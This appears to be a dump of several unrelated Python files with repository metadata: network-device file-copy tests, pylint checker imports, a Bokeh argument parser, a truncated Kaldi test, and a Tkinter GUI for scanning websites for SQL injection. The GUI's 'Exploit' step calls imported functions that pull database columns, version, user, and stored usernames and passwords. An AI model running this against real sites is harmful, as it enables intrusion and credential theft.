Oct 12 21:16:21 2015 config_2015-10-12_17:16:10.613538\n 18099 Oct 12 21:16:25 2015 config_2015-10-12_17:16:13.730374\n 18118 Oct 12 21:16:30 2015 config_2015-10-12_17:16:18.856276\n 18118 Oct 12 21:16:36 2015 config_2015-10-12_17:16:24.817255\n 4096 Jan 11 20:00:40 2016 configs/\n 5365 Feb 05 15:57:55 2015 configs:jaay.cfg\n 5365 Feb 05 15:51:31 2015 configs:jay.cfg\n 18061 Oct 09 19:12:42 2015 cp_with_shutdown\n 154 Feb 19 21:33:05 2015 eth3.cfg\n 65 Feb 19 21:18:28 2015 eth_1_1.cfg\n 4096 Aug 10 18:54:09 2015 home/\n 18111 Oct 12 20:30:41 2015 initial.conf\n 4096 Mar 15 15:42:22 2016 lost+found/\n 309991424 May 19 18:23:41 2014 n9000-dk9.6.1.2.I2.1.bin\n 353457152 Nov 02 15:14:40 2014 n9000-dk9.6.1.2.I3.1.bin\n 37612335 Nov 02 15:20:00 2014 n9000-epld.6.1.2.I3.1.img\n 9888 Oct 08 18:35:39 2015 n9k1_cfg\n 73970 Oct 09 16:30:54 2015 n9k2_all_cfg\n 7105 Oct 08 19:48:41 2015 n9k2_cfg\n 7142 Oct 08 18:49:19 2015 n9k2_cfg_safe\n 21293 Oct 09 17:16:57 2015 n9k2_cp\n 4096 Aug 10 20:17:35 2015 netmiko/\n 18187 Oct 12 20:31:20 2015 new_typo.conf\n 17927 Oct 12 18:25:40 2015 newcpfile\n 535352320 Mar 15 15:39:31 2016 nxos.7.0.3.I2.1.bin\n 4096 Jan 28 15:33:36 2015 onep/\n 6079 Oct 06 14:46:33 2015 pn9k1_cfg.bak\n 54466560 Jan 28 12:48:30 2015 puppet-1.0.0-nx-os-SPA-k9.ova\n 9698 Sep 19 05:43:12 2014 sart\n 4096 Feb 05 15:15:30 2015 scriaspts/\n 4096 Feb 05 15:09:35 2015 scripts/\n 3345 Feb 19 21:04:50 2015 standardconfig.cfg\n 21994 Oct 23 15:32:18 2015 travis_ping\n 18038 Oct 12 19:32:17 2015 tshootcp\n 4096 Mar 15 15:48:59 2016 virt_strg_pool_bf_vdc_1/\n 4096 Jan 28 15:30:29 2015 virtual-instance/\n 125 Mar 15 15:48:12 2016 virtual-instance.conf\n 2068 Mar 16 09:58:23 2016 vlan.dat\nUsage for bootflash://sup-local\n 2425626624 bytes used\n19439792128 bytes free\n21865418752 bytes total\n' result = self.fc.get_remote_size() expected = 19439792128 self.assertEqual(result, expected) self.device.show.assert_called_with('dir bootflash:', raw_text=True) @mock.patch('os.path.getsize') def test_enough_space(self, mock_getsize): self.device.show.return_value = ' 4096 Mar 15 17:06:51 2016 .rpmstore/\n 3651 May 19 18:26:19 2014 20140519_182619_poap_6121_init.log\n 3651 May 19 18:34:38 2014 20140519_183438_poap_5884_init.log\n 23167 Jul 11 19:55:32 2014 20140711_195320_poap_5884_init.log\n 3735 Oct 09 18:00:43 2015 20151009_180036_poap_6291_init.log\n 2826 Oct 12 20:17:32 2015 abc\n 7160 Oct 06 13:49:57 2015 cfg_flowtracker1\n 7123 Oct 08 19:26:48 2015 cfg_flowtracker1_2\n 89620 Oct 09 18:04:41 2015 clean_n9k2_all_cfg\n 2773 Oct 09 18:04:18 2015 clean_n9k2_cfg\n 17339 Oct 09 19:58:44 2015 clean_n9k2_cp\n 18203 Oct 12 19:41:21 2015 clean_n9k2_cp2\n 18118 Oct 12 21:03:57 2015 config_2015-10-12_17:03:46.308598\n 18118 Oct 12 21:03:58 2015 config_2015-10-12_17:03:47.338797\n 18118 Oct 12 21:04:03 2015 config_2015-10-12_17:03:52.012664\n 18118 Oct 12 21:06:17 2015 config_2015-10-12_17:06:05.026284\n 18118 Oct 12 21:07:03 2015 config_2015-10-12_17:06:50.357353\n 18118 Oct 12 21:08:13 2015 config_2015-10-12_17:08:01.145064\n 18118 Oct 12 21:12:55 2015 config_2015-10-12_17:12:43.603017\n 18118 Oct 12 21:13:38 2015 config_2015-10-12_17:13:25.476126\n 18098 Oct 12 21:14:40 2015 config_2015-10-12_17:14:29.411540\n 18118 Oct 12 21:14:43 2015 config_2015-10-12_17:14:32.442546\n 18099 Oct 12 21:14:46 2015 config_2015-10-12_17:14:35.595983\n 18118 Oct 12 21:16:03 2015 config_2015-10-12_17:15:51.501546\n 18118 Oct 12 21:16:20 2015 config_2015-10-12_17:16:09.478200\n 18118 Oct 12 21:16:21 2015 config_2015-10-12_17:16:10.613538\n 18099 Oct 12 21:16:25 2015 config_2015-10-12_17:16:13.730374\n 18118 Oct 12 21:16:30 2015 config_2015-10-12_17:16:18.856276\n 18118 Oct 12 21:16:36 2015 config_2015-10-12_17:16:24.817255\n 4096 Jan 11 20:00:40 2016 configs/\n 5365 Feb 05 15:57:55 2015 configs:jaay.cfg\n 5365 Feb 05 15:51:31 2015 configs:jay.cfg\n 18061 Oct 09 19:12:42 2015 cp_with_shutdown\n 154 Feb 19 21:33:05 2015 eth3.cfg\n 65 Feb 19 21:18:28 2015 eth_1_1.cfg\n 4096 Aug 10 18:54:09 2015 home/\n 18111 Oct 12 20:30:41 2015 initial.conf\n 4096 Mar 15 15:42:22 2016 lost+found/\n 309991424 May 19 18:23:41 2014 n9000-dk9.6.1.2.I2.1.bin\n 353457152 Nov 02 15:14:40 2014 n9000-dk9.6.1.2.I3.1.bin\n 37612335 Nov 02 15:20:00 2014 n9000-epld.6.1.2.I3.1.img\n 9888 Oct 08 18:35:39 2015 n9k1_cfg\n 73970 Oct 09 16:30:54 2015 n9k2_all_cfg\n 7105 Oct 08 19:48:41 2015 n9k2_cfg\n 7142 Oct 08 18:49:19 2015 n9k2_cfg_safe\n 21293 Oct 09 17:16:57 2015 n9k2_cp\n 4096 Aug 10 20:17:35 2015 netmiko/\n 18187 Oct 12 20:31:20 2015 new_typo.conf\n 17927 Oct 12 18:25:40 2015 newcpfile\n 535352320 Mar 15 15:39:31 2016 nxos.7.0.3.I2.1.bin\n 4096 Jan 28 15:33:36 2015 onep/\n 6079 Oct 06 14:46:33 2015 pn9k1_cfg.bak\n 54466560 Jan 28 12:48:30 2015 puppet-1.0.0-nx-os-SPA-k9.ova\n 9698 Sep 19 05:43:12 2014 sart\n 4096 Feb 05 15:15:30 2015 scriaspts/\n 4096 Feb 05 15:09:35 2015 scripts/\n 3345 Feb 19 21:04:50 2015 standardconfig.cfg\n 21994 Oct 23 15:32:18 2015 travis_ping\n 18038 Oct 12 19:32:17 2015 tshootcp\n 4096 Mar 15 15:48:59 2016 virt_strg_pool_bf_vdc_1/\n 4096 Jan 28 15:30:29 2015 virtual-instance/\n 125 Mar 15 15:48:12 2016 virtual-instance.conf\n 2068 Mar 16 09:58:23 2016 vlan.dat\nUsage for bootflash://sup-local\n 2425626624 bytes used\n19439792128 bytes free\n21865418752 bytes total\n' mock_getsize.return_value = 10 result = self.fc.enough_remote_space() self.assertEqual(result, True) mock_getsize.assert_called_with('/path/to/source_file') @mock.patch('os.path.getsize') def test_not_enough_space(self, mock_getsize): self.device.show.return_value = ' 4096 Mar 15 17:06:51 2016 .rpmstore/\n 3651 May 19 18:26:19 2014 20140519_182619_poap_6121_init.log\n 3651 May 19 18:34:38 2014 20140519_183438_poap_5884_init.log\n 23167 Jul 11 19:55:32 2014 20140711_195320_poap_5884_init.log\n 3735 Oct 09 18:00:43 2015 20151009_180036_poap_6291_init.log\n 2826 Oct 12 20:17:32 2015 abc\n 7160 Oct 06 13:49:57 2015 cfg_flowtracker1\n 7123 Oct 08 19:26:48 2015 cfg_flowtracker1_2\n 89620 Oct 09 18:04:41 2015 clean_n9k2_all_cfg\n 2773 Oct 09 18:04:18 2015 clean_n9k2_cfg\n 17339 Oct 09 19:58:44 2015 clean_n9k2_cp\n 18203 Oct 12 19:41:21 2015 clean_n9k2_cp2\n 18118 Oct 12 21:03:57 2015 config_2015-10-12_17:03:46.308598\n 18118 Oct 12 21:03:58 2015 config_2015-10-12_17:03:47.338797\n 18118 Oct 12 21:04:03 2015 config_2015-10-12_17:03:52.012664\n 18118 Oct 12 21:06:17 2015 config_2015-10-12_17:06:05.026284\n 18118 Oct 12 21:07:03 2015 config_2015-10-12_17:06:50.357353\n 18118 Oct 12 21:08:13 2015 config_2015-10-12_17:08:01.145064\n 18118 Oct 12 21:12:55 2015 config_2015-10-12_17:12:43.603017\n 18118 Oct 12 21:13:38 2015 config_2015-10-12_17:13:25.476126\n 18098 Oct 12 21:14:40 2015 config_2015-10-12_17:14:29.411540\n 18118 Oct 12 21:14:43 2015 config_2015-10-12_17:14:32.442546\n 18099 Oct 12 21:14:46 2015 config_2015-10-12_17:14:35.595983\n 18118 Oct 12 21:16:03 2015 config_2015-10-12_17:15:51.501546\n 18118 Oct 12 21:16:20 2015 config_2015-10-12_17:16:09.478200\n 18118 Oct 12 21:16:21 2015 config_2015-10-12_17:16:10.613538\n 18099 Oct 12 21:16:25 2015 config_2015-10-12_17:16:13.730374\n 18118 Oct 12 21:16:30 2015 config_2015-10-12_17:16:18.856276\n 18118 Oct 12 21:16:36 2015 config_2015-10-12_17:16:24.817255\n 4096 Jan 11 20:00:40 2016 configs/\n 5365 Feb 05 15:57:55 2015 configs:jaay.cfg\n 5365 Feb 05 15:51:31 2015 configs:jay.cfg\n 18061 Oct 09 19:12:42 2015 cp_with_shutdown\n 154 Feb 19 21:33:05 2015 eth3.cfg\n 65 Feb 19 21:18:28 2015 eth_1_1.cfg\n 4096 Aug 10 18:54:09 2015 home/\n 18111 Oct 12 20:30:41 2015 initial.conf\n 4096 Mar 15 15:42:22 2016 lost+found/\n 309991424 May 19 18:23:41 2014 n9000-dk9.6.1.2.I2.1.bin\n 353457152 Nov 02 15:14:40 2014 n9000-dk9.6.1.2.I3.1.bin\n 37612335 Nov 02 15:20:00 2014 n9000-epld.6.1.2.I3.1.img\n 9888 Oct 08 18:35:39 2015 n9k1_cfg\n 73970 Oct 09 16:30:54 2015 n9k2_all_cfg\n 7105 Oct 08 19:48:41 2015 n9k2_cfg\n 7142 Oct 08 18:49:19 2015 n9k2_cfg_safe\n 21293 Oct 09 17:16:57 2015 n9k2_cp\n 4096 Aug 10 20:17:35 2015 netmiko/\n 18187 Oct 12 20:31:20 2015 new_typo.conf\n 17927 Oct 12 18:25:40 2015 newcpfile\n 535352320 Mar 15 15:39:31 2016 nxos.7.0.3.I2.1.bin\n 4096 Jan 28 15:33:36 2015 onep/\n 6079 Oct 06 14:46:33 2015 pn9k1_cfg.bak\n 54466560 Jan 28 12:48:30 2015 puppet-1.0.0-nx-os-SPA-k9.ova\n 9698 Sep 19 05:43:12 2014 sart\n 4096 Feb 05 15:15:30 2015 scriaspts/\n 4096 Feb 05 15:09:35 2015 scripts/\n 3345 Feb 19 21:04:50 2015 standardconfig.cfg\n 21994 Oct 23 15:32:18 2015 travis_ping\n 18038 Oct 12 19:32:17 2015 tshootcp\n 4096 Mar 15 15:48:59 2016 virt_strg_pool_bf_vdc_1/\n 4096 Jan 28 15:30:29 2015 virtual-instance/\n 125 Mar 15 15:48:12 2016 virtual-instance.conf\n 2068 Mar 16 09:58:23 2016 vlan.dat\nUsage for bootflash://sup-local\n 2425626624 bytes used\n19439792128 bytes free\n21865418752 bytes total\n' mock_getsize.return_value = 100000000000000000 result = self.fc.enough_remote_space() self.assertEqual(result, False) mock_getsize.assert_called_with('/path/to/source_file') @mock.patch('os.path.isfile') def test_local_file_exists(self, mock_isfile): mock_isfile.return_value = True result = self.fc.local_file_exists() expected = True self.assertEqual(result, expected) mock_isfile.assert_called_with('/path/to/source_file') @mock.patch('os.path.isfile') def test_local_file_doesnt_exist(self, mock_isfile): mock_isfile.return_value = False result = self.fc.local_file_exists() expected = False self.assertEqual(result, expected) mock_isfile.assert_called_with('/path/to/source_file') @mock.patch.object(FileCopy, 'get_local_md5') def test_file_already_exists(self, mock_local_md5): mock_local_md5.return_value = 'b211e79fbaede5859ed2192b0fc5f1d5' self.device.show.return_value = {'file_content_md5sum': 'b211e79fbaede5859ed2192b0fc5f1d5\n'} result = self.fc.already_transfered() self.assertEqual(result, True) self.device.show.assert_called_with('show file bootflash:source_file md5sum', raw_text=False) mock_local_md5.assert_called_with() @mock.patch.object(FileCopy, 'get_local_md5') def test_file_doesnt_already_exists(self, mock_local_md5): mock_local_md5.return_value = 'abcdef12345' self.device.show.return_value = {'file_content_md5sum': 'b211e79fbaede5859ed2192b0fc5f1d5\n'} result = self.fc.already_transfered() self.assertEqual(result, False) self.device.show.assert_called_with('show file bootflash:source_file md5sum', raw_text=False) mock_local_md5.assert_called_with() def test_remote_file_doesnt_exists(self): self.device.show.return_value = 'No such file' result = self.fc.remote_file_exists() self.assertEqual(result, False) self.device.show.assert_called_with('dir bootflash:/source_file', raw_text=True) def test_remote_file_exists(self): self.device.show.return_value = ' 5 Mar 23 00:48:15 2016 smallfile\nUsage for bootflash://sup-local\n 2425630720 bytes used\n19439788032 bytes free\n21865418752 bytes total\n' result = self.fc.remote_file_exists() self.assertEqual(result, True) self.device.show.assert_called_with('dir bootflash:/source_file', raw_text=True) @mock.patch('pynxos.features.file_copy.paramiko') @mock.patch('pynxos.features.file_copy.SCPClient') @mock.patch.object(FileCopy, 'get_local_md5') @mock.patch.object(FileCopy, 'get_remote_md5') @mock.patch.object(FileCopy, 'local_file_exists') @mock.patch.object(FileCopy, 'enough_space') def test_send_file(self, mock_enough_space, mock_local_file_exists, mock_remote_md5, mock_local_md5, mock_SCP, mock_paramiko): mock_remote_md5.return_value = 'abc' mock_local_md5.return_value = 'abc' mock_local_file_exists.return_value = True mock_enough_space.return_value = True mock_ssh = mock_paramiko.SSHClient.return_value self.fc.send() mock_paramiko.SSHClient.assert_called_with() mock_ssh.set_missing_host_key_policy.assert_called_with(mock_paramiko.AutoAddPolicy.return_value) mock_ssh.connect.assert_called_with(allow_agent=False, hostname=self.device.host, look_for_keys=False, password=self.device.password, port=22, username=self.device.username) mock_SCP.assert_called_with(mock_ssh.get_transport.return_value) mock_SCP.return_value.put.assert_called_with('/path/to/source_file', 'bootflash:source_file') mock_SCP.return_value.close.assert_called_with() @mock.patch('pynxos.features.file_copy.paramiko') @mock.patch('pynxos.features.file_copy.SCPClient') @mock.patch.object(FileCopy, 'get_local_md5') @mock.patch.object(FileCopy, 'get_remote_md5') @mock.patch.object(FileCopy, 'local_file_exists') @mock.patch.object(FileCopy, 'enough_space') def test_get_file(self, mock_enough_space, mock_local_file_exists, mock_remote_md5, mock_local_md5, mock_SCP, mock_paramiko): mock_remote_md5.return_value = 'abc' mock_local_md5.return_value = 'abc' mock_local_file_exists.return_value = True mock_enough_space.return_value = True mock_ssh = mock_paramiko.SSHClient.return_value self.fc.get() mock_paramiko.SSHClient.assert_called_with() mock_ssh.set_missing_host_key_policy.assert_called_with(mock_paramiko.AutoAddPolicy.return_value) mock_ssh.connect.assert_called_with(allow_agent=False, hostname=self.device.host, look_for_keys=False, password=self.device.password, port=22, username=self.device.username) mock_SCP.assert_called_with(mock_ssh.get_transport.return_value) mock_SCP.return_value.get.assert_called_with('bootflash:source_file', '/path/to/source_file') mock_SCP.return_value.close.assert_called_with() @mock.patch('pynxos.features.file_copy.paramiko') @mock.patch('pynxos.features.file_copy.SCPClient') @mock.patch.object(FileCopy, 'get_local_md5') @mock.patch.object(FileCopy, 'get_remote_md5') @mock.patch.object(FileCopy, 'local_file_exists') @mock.patch.object(FileCopy, 'enough_space') def test_send_file_error_local_not_exist(self, mock_enough_space, mock_local_file_exists, mock_remote_md5, mock_local_md5, mock_SCP, mock_paramiko): mock_remote_md5.return_value = 'abc' mock_local_md5.return_value = 'abc' mock_local_file_exists.return_value = False mock_enough_space.return_value = True mock_ssh = mock_paramiko.SSHClient.return_value with self.assertRaises(FileTransferError): self.fc.send() @mock.patch('pynxos.features.file_copy.paramiko') @mock.patch('pynxos.features.file_copy.SCPClient') @mock.patch.object(FileCopy, 'get_local_md5') @mock.patch.object(FileCopy, 'get_remote_md5') @mock.patch.object(FileCopy, 'local_file_exists') @mock.patch.object(FileCopy, 'enough_space') def test_send_file_error_not_enough_space(self, mock_enough_space, mock_local_file_exists, mock_remote_md5, mock_local_md5, mock_SCP, mock_paramiko): mock_remote_md5.return_value = 'abc' mock_local_md5.return_value = 'abc' mock_local_file_exists.return_value = True mock_enough_space.return_value = False mock_ssh = mock_paramiko.SSHClient.return_value with self.assertRaises(FileTransferError): self.fc.send() @mock.patch('pynxos.features.file_copy.paramiko') @mock.patch('pynxos.features.file_copy.SCPClient') @mock.patch.object(FileCopy, 'get_local_md5') @mock.patch.object(FileCopy, 'get_remote_md5') @mock.patch.object(FileCopy, 'local_file_exists') @mock.patch.object(FileCopy, 'enough_space') def test_send_file_transfer_error(self, mock_enough_space, mock_local_file_exists, mock_remote_md5, mock_local_md5, mock_SCP, mock_paramiko): mock_remote_md5.return_value = 'abc' mock_local_md5.return_value = 'abc' mock_local_file_exists.return_value = True mock_enough_space.return_value = True mock_ssh = mock_paramiko.SSHClient.return_value mock_SCP.return_value.put.side_effect = Exception with self.assertRaises(FileTransferError): self.fc.send() mock_paramiko.SSHClient.assert_called_with() mock_ssh.set_missing_host_key_policy.assert_called_with(mock_paramiko.AutoAddPolicy.return_value) mock_ssh.connect.assert_called_with(allow_agent=False, hostname=self.device.host, look_for_keys=False, password=self.device.password, port=22, username=self.device.username) mock_SCP.assert_called_with(mock_ssh.get_transport.return_value) mock_SCP.return_value.put.assert_called_with('/path/to/source_file', 'bootflash:source_file') mock_SCP.return_value.close.assert_called_with() if __name__ == "__main__": unittest.main()

0

16,132

0

5,426

0

52

90

1ba7e9d00ac9ddde32d332f71e982fac582852a8

1,154

py

Python

lcd-numbers/pylint/checkers/__init__.py

kelesi/coedcop

2bdbac207cf6f81de70b92c644c40663bbea8c8a

[ "MIT" ]

1

2017-12-08T15:55:17.000Z

lcd-numbers/pylint/checkers/__init__.py

kelesi/coedcop

2bdbac207cf6f81de70b92c644c40663bbea8c8a

[ "MIT" ]

null

lcd-numbers/pylint/checkers/__init__.py

kelesi/coedcop

2bdbac207cf6f81de70b92c644c40663bbea8c8a

[ "MIT" ]

null

"""Jeff Bay's Object Calisthenics Rules.""" # 1. One level of indentation per method # * Pylint's "checkers.refactoring", max-nested-blocks=1 # * Pylint's "checkers.design_analysis", max-branches=1 # * DONE # 2. Don't use the ELSE keyword import checkers.no_else # * also Pylint's "checkers.refactoring", max-nested-blocks=1 # * DONE # 3. Wrap all primitives and Strings # 4. First class collections import checkers.first_class_collections # * knows [], (), list(), set() and comprehensions. # TODO add support for more types of collections # * (kind of) DONE # 5. One dot per line import checkers.one_dot_per_line # * DONE # 6. Don't abbreviate # TODO short names # * good-names=reset # 7. Keep all entities small import checkers.small_entities # * no class over 45 statements, no module over 10 classes, no module over 45 statements. # * (kind of) DONE # 8. No classes with more than two instance variables import checkers.two_instance_variables # * also Pylint's "checkers.design_analysis", max-attributes=2 # * DONE # 9. No getters/setters/properties # TODO do not use manual getters/setters # * (kind of) DONE

26.837209

89

0.738302

"""Jeff Bay's Object Calisthenics Rules.""" # 1. One level of indentation per method # * Pylint's "checkers.refactoring", max-nested-blocks=1 # * Pylint's "checkers.design_analysis", max-branches=1 # * DONE # 2. Don't use the ELSE keyword import checkers.no_else # * also Pylint's "checkers.refactoring", max-nested-blocks=1 # * DONE # 3. Wrap all primitives and Strings # 4. First class collections import checkers.first_class_collections # * knows [], (), list(), set() and comprehensions. # TODO add support for more types of collections # * (kind of) DONE # 5. One dot per line import checkers.one_dot_per_line # * DONE # 6. Don't abbreviate # TODO short names # * good-names=reset # 7. Keep all entities small import checkers.small_entities # * no class over 45 statements, no module over 10 classes, no module over 45 statements. # * (kind of) DONE # 8. No classes with more than two instance variables import checkers.two_instance_variables # * also Pylint's "checkers.design_analysis", max-attributes=2 # * DONE # 9. No getters/setters/properties import checkers.no_properties # TODO do not use manual getters/setters # * (kind of) DONE

0

8

22

0892a02aefb143a24befa8f3ebf7c11b8155f8f2

1,794

py

Python

args.py

stevievb/sagemaker-labeljob-scoreboard

038456cd2d83ba4bf365ecb305bf443cdc1aa404

[ "Apache-2.0" ]

null

args.py

stevievb/sagemaker-labeljob-scoreboard

038456cd2d83ba4bf365ecb305bf443cdc1aa404

[ "Apache-2.0" ]

null

args.py

stevievb/sagemaker-labeljob-scoreboard

038456cd2d83ba4bf365ecb305bf443cdc1aa404

[ "Apache-2.0" ]

null

# 2020 Amgen Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # function to help parse query params from bokeh server url DEFAULT_PLOT_HEIGHT = 500 DEFAULT_PLOT_WIDTH = 800

32.618182

105

0.672241

# © 2020 Amgen Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # function to help parse query params from bokeh server url DEFAULT_PLOT_HEIGHT = 500 DEFAULT_PLOT_WIDTH = 800 def parse_args(args): try: height = int(args.get('height')[0]) except: height = DEFAULT_PLOT_HEIGHT try: width = int(args.get('width')[0]) except: width = DEFAULT_PLOT_WIDTH try: labeling_job_name = args.get('labeling_job_name')[0].decode('utf-8') except: print('A labeling job query parameter is required e.g, labeling_job_name=a-test-job-name') exit(1) try: bucket = args.get('bucket')[0].decode('utf-8') except: print('A bucket query parameter is required e.g, bucket=an-s3-bucket-name') exit(1) try: prefix = args.get('prefix')[0].decode('utf-8') except: print('A prefix parameter is required e.g, prefix=a/prefix/job-name/annotations/worker-response') exit(1) try: user_pool_id = args.get('user_pool_id')[0].decode('utf-8') except: print('A user_pool_id parameter is required e.g, user_pool_id=us-west-2_adfsdasf') exit(1) return height, width, labeling_job_name, bucket, prefix, user_pool_id

2

0

1,062

0

23

ae7b9a5ad2f42b1085d8218767395ee08e327173

5,994

py

Python

gui.py

kratantjain/SQLiVS

6b91cc454742c753ef002ac52c01ddf09bdcf8ed

[ "MIT" ]

null

gui.py

kratantjain/SQLiVS

6b91cc454742c753ef002ac52c01ddf09bdcf8ed

[ "MIT" ]

null

gui.py

kratantjain/SQLiVS

6b91cc454742c753ef002ac52c01ddf09bdcf8ed

[ "MIT" ]

1

2018-10-28T17:47:24.000Z

Home()

41.625

127

0.656823

from Tkinter import * from tkMessageBox import * from tkFileDialog import * from SQLinjector import * import time import websitedata def checkvuln(wsite,name): inject=[] global result for x in name: sqlinject=x inject.append(wsite.replace("FUZZ",sqlinject)) showinfo('Wait'," Checking website for vulnerability please wait") result=injector(inject) process() def deepXploit(): global columns global version global curr_user global steal_usr global passwrd columns=detect_columns(wsite) version=detect_version(wsite) curr_user=detect_user(wsite) steal_usr,passwrd=steal_users(wsite) def xploit(): pro.destroy() xploy=Tk() showinfo('Exploit', "website is under deep Explotation wait ..!") xploy.geometry('1024x577') xploy.configure(bg='white', cursor='circle') pic=PhotoImage(file="softwall.gif") xploy.title("SQL Injection Vulnerability Scanner") Label(xploy,image=pic).grid(row=0,column=0,rowspan=20,columnspan=10) Label(xploy,text='SQL Injection Vulnerability Scanner', font='Harrington 18 bold' ).grid(row=0,column=0,columnspan=10) Label(xploy,text='Results:', font='Harrington 16 bold underline' ,bg='white').grid(row=2,column=0) Label(xploy,text='No. of columns:-', font='Harrington 14 bold underline' ,bg='white').grid(row=6,column=0) Label(xploy,text='Version:-', font='Harrington 14 bold underline' ,bg='white').grid(row=7,column=0) Label(xploy,text='Current Database User:-', font='Harrington 14 bold underline' ,bg='white').grid(row=8,column=0) ## Label(xploy,text='Usernames & passwords:-', font='Harrington 14 bold underline' ,bg='white').grid(row=10,column=0) for x in columns: Label(xploy, text=x,font='Harrington 14 bold underline' ,bg='white').grid(row=6,column=(1+(int(columns.index(x))))) ## xploy.mainloop() Label(xploy, text=version,font='Harrington 14 bold underline',bg='white').grid(row=7,column=1) Label(xploy, text=curr_user,font='Harrington 14 bold underline' ,bg='white').grid(row=8,column=1) ## for x in steal_usr: ## Label(xploy,text=x,font='Harrington 14 bold underline' ,bg='white').grid(row=10,column=(1+(int(steal_usr.index(x))))) ## xploy.mainloop() ## for x in passwrd: ## Label(xploy,text=x,font='Harrington 14 bold underline' ,bg='white').grid(row=11,column=(1+(int(passwrd.index(x))))) ## xploy.mainloop() xploy.mainloop() def report(): p1.destroy() global rep rep=Tk() rep.geometry('1024x577') rep.configure(bg='white', cursor='circle') pic=PhotoImage(file="softwall.gif") rep.title("SQL Injection Vulnerability Scanner") Label(rep,image=pic).grid(row=0,column=0,rowspan=10,columnspan=10) Label(rep,text='SQL Injection Vulnerability Scanner', font='Harrington 18 bold' ).grid(row=0,column=0,columnspan=10) Button(rep, text="back", bg='white', command=repback).grid(row=1, column=8) Label(rep,text='Report:', font='Harrington 16 bold underline' ,bg='white').grid(row=2,column=0) rep.mainloop() def repback(): rep.destroy() Home() def process(): global pro p1.destroy() pro=Tk() pro.geometry('1024x577') pro.configure(bg='white', cursor='circle') pic=PhotoImage(file="softwall.gif") Label(pro,image=pic).grid(row=0,column=0,rowspan=20,columnspan=10) pro.title("SQL Injection Vulnerability Scanner") Label(pro,text='SQL Injection Vulnerability Scanner', font='Harrington 18 bold' ).grid(row=1,column=0,columnspan=10) Label(pro,text='Processing:', font='Harrington 16 bold underline' ,bg='white').grid(row=2,column=0,sticky='W') Label(pro,text='Testing errors:-', font='Harrington 14 bold ' ,bg='white').grid(row=3,column=0,sticky='W') '''def testres(wsite,name): inject=[] for z in name: y=(wsite.replace("FUZZ",z)) Label(pro,text='' , bg='white').grid(row=4,column=0,sticky='EWNS') Label(pro,text=y, bg='white').grid(row=4,column=0,sticky='EW') break''' global i i=int(0) for x in result: i=int(i+1) Label(pro,text=x,font='Harrington 12 bold',bg='white').grid(row=5+i,column=0,sticky='NS') if (len(result) != 0): showinfo('Results','Website is vulnerable to sql injection') Button(pro,text='Exploit',bg='white',command=lambda:[deepXploit(),xploit(),]).grid(row=10,column=5,sticky='W') else : showinfo('Results','Website is not vulnerable to sql injection') pro.mainloop() def checkres(): if not result: showinfo('Results',"Not vulnerable") def Home(): global p1 p1=Tk() global s p1.geometry('1024x577') p1.configure(bg='white', cursor='circle') pic=PhotoImage(file="softwall.gif") Label(p1,image=pic).grid(row=0,column=0,rowspan=10,columnspan=10) p1.title("SQL Injection Vulnerability Scanner") Label(p1,text='SQL Injection Vulnerability Scanner', font='Harrington 18 bold' ).grid(row=0,column=0,columnspan=10) Label(p1,text='Website:', font='Harrington 14 bold' ,bg='white').grid(row=2,column=0) s=Entry(p1,bg='LightCyan4', cursor='dot') s.grid(row=2,column=1,columnspan=5,sticky='EW') Label(p1,text='Injection file select:', font='Harrington 14 bold' ,bg='white').grid(row=8,column=0) def fileselect(): injectionfile=askopenfilename(title = "Select injection dictionary file",filetypes = (("text files","*.txt"),)) f = open(injectionfile, "r") global name name = f.read().splitlines() print(name) def webget(): global wsite wsite=str(s.get()+"FUZZ") print(wsite) Button(p1, text='select file', command=fileselect, bg='white', cursor='dot').grid(row=8, column=1) Button(p1, text="Check",bg='white',command=lambda:[webget(),checkvuln(wsite,name),]).grid(row=6,column=8, sticky='EWNS') p1.mainloop() Home()

0

5,646

0

1

331

1f013a9bb78006e16890563e1f2078779f4852ab

3,131

py

Python

src/pybind/matrix/kaldi_matrix_pybind_test.py

aadps/kaldi

cd351bb31c98f9d540c409478cbf2c5fef1853ca

[ "Apache-2.0" ]

null

src/pybind/matrix/kaldi_matrix_pybind_test.py

aadps/kaldi

cd351bb31c98f9d540c409478cbf2c5fef1853ca

[ "Apache-2.0" ]

null

src/pybind/matrix/kaldi_matrix_pybind_test.py

aadps/kaldi

cd351bb31c98f9d540c409478cbf2c5fef1853ca

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # Copyright 2019 Mobvoi AI Lab, Beijing, China (author: Fangjun Kuang) # Apache 2.0 import os import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir)) import unittest if __name__ == '__main__': unittest.main()

29.537736

71

0.545513

#!/usr/bin/env python3 # Copyright 2019 Mobvoi AI Lab, Beijing, China (author: Fangjun Kuang) # Apache 2.0 import os import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir)) import unittest import numpy as np import kaldi class TestFloatSubMatrix(unittest.TestCase): def test_from_numpy(self): num_rows = 5 num_cols = 6 data = np.arange(num_rows * num_cols).reshape( num_rows, num_cols).astype(np.float32) # ============================================================= # build a FloatSubMatrix() from a numpy array; memory is shared # ------------------------------------------------------------- m = kaldi.FloatSubMatrix(data) self.assertEqual(m.NumRows(), num_rows) self.assertEqual(m.NumCols(), num_cols) self.assertEqual(m.Stride(), data.strides[0] / 4) for r in range(num_rows): for c in range(num_cols): self.assertEqual(m[r, c], data[r, c]) # memory is shared between numpy array and FloatSubMatrix for r in range(num_rows): for c in range(num_cols): m[r, c] += 10 self.assertEqual(m[r, c], data[r, c]) # ============================================================= # Convert a FloatSubMatrix to a numpy array; memory is shared # ------------------------------------------------------------- m_reference_count = sys.getrefcount(m) d = m.numpy() self.assertEqual(m_reference_count + 1, sys.getrefcount(m)) d += 10 # m is also changed because of memory sharing for r in range(num_rows): for c in range(num_cols): self.assertEqual(d[r, c], m[r, c]) del d self.assertEqual(m_reference_count, 